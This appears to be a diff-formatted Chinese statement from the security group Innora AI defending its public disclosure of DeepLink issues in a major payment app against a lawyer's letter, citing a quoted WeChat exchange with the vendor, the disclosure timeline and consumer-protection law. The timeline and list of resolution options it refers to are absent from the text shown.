+以下是 2026年3月11日，我们与厂商安全团队对接人的微信聊天记录（完整截图已保存为证据）。注：截图时间显示为泰国时区（UTC+7），对应中国时间需加1小时。
+ +17:03 我方："漏洞的 就是 zfb的正常功能，这是 最后官方解释了吧？"
+厂商对接人："嗯"
+我方："好的 那我拿素材写小说了"
+厂商对接人："咋还写"
+我方："不是漏洞 还不能说？"
+我方："你看：能造成危害，然后你们说正常功能 我也没说一定是漏洞。。"
+我方："总不能发声权利都没有吧"
+我方："我还是继续写小说去了"
+厂商对接人："卧槽"
+厂商对接人："你这话说的，我这几天可是一直在跟进沟通，不能结果不符你意就还发吧？"
+我方："我有点后悔和你们打交道了"
+厂商对接人："第一次报公司这边没及时处理确实有问题，这次你报个洞我们按照流程确认处置，你还不满意啊？"
+厂商对接人："你想怎么着，你说下你诉求"
+17:30 我方："满意啊"
+我方："都不是漏洞了 我公开说一下 总能说的吧？"
+我方："你也不能太强权的 不是漏洞 还不让我说？"
+这段对话揭示了以下关键事实：
+ +1. 厂商对接人亲口确认了"正常功能"定性。对方回复"嗯"确认。
+2. 厂商对接人承认第一次报告处理有问题。"第一次报公司这边没及时处理确实有问题"——指2月25日的 TLS/SSL 报告。
+3. 对接人在对话中使用了"洞"这一表述。"这次你报个洞我们按照流程确认处置"——虽然这只是私下非正式用词，不代表厂商官方定性，但至少说明安全团队内部对这些发现的安全属性并非毫无认知。
+4. 我方在文章发布前已告知厂商。截图泰国时间17:03（北京时间约18:03），文章 18:16 发布。厂商对接人在得知我方意图后未提出正式暂缓请求。
+5. 我方立场逻辑清晰。"不是漏洞 还不能说？""你也不能太强权的 不是漏洞 还不让我说？"——既然定性"正常功能"，公开讨论就不构成不当行为。
+我们严格遵循国际安全社区通行的负责任披露准则（参考 ISO/IEC 29147:2018）。以下时间线的每一步均有邮件记录和服务器日志可查证：
+ +以上时间线中，每一封邮件均保存在我们的邮件服务器（加密存储），厂商方回复同样有完整记录。
+ +在一天之内（3月7日），我们连续提交了 3 份递进式报告（8个→17个漏洞→端到端攻击演示），每份都附带更完整的证据。厂商在安排人员亲自验证并确认漏洞可复现后，仍给出"正常功能"的定性。Google Project Zero 的行业标准是给予厂商 90 天。我们从 DeepLink 漏洞报告到公开等待了 4 天，在此期间厂商已明确回复不予修复。
+《消费者权益保护法》第八条规定：消费者享有知悉其购买、使用的商品或者接受的服务的真实情况的权利。
+ +当一款日活超过 10 亿的支付应用存在可被外部链接利用的攻击面时，用户有权知道：点击一条链接后，他们的设备信息、位置数据可能被以何种方式获取，他们看到的界面是否可能被伪造。
+ +安全研究的价值不在于"攻击"，而在于"预警"。我们在文章中同时提供了 5 项具体的安全加固建议，这是建设性技术讨论，不是恶意抹黑。
+Innora AI 是独立安全研究机构。我们与投诉方不存在任何商业竞争关系，不从事支付业务，不代表任何竞品利益。
+ +我们的研究基于可复现的技术实验，结论附有完整证据链。文章中每一处涉及攻击条件的描述都标注了前提限定，每一处涉及资金操作的描述都注明了"仍需用户确认"。
+ +如果投诉方对技术事实有异议，我们愿意通过以下方式解决：
+ +但我们不会因为一封律师函就撤回基于事实的技术研究。用法律手段消除技术事实，从来不是解决安全问题的正确方式。
+联系我们：feng@innora.ai
+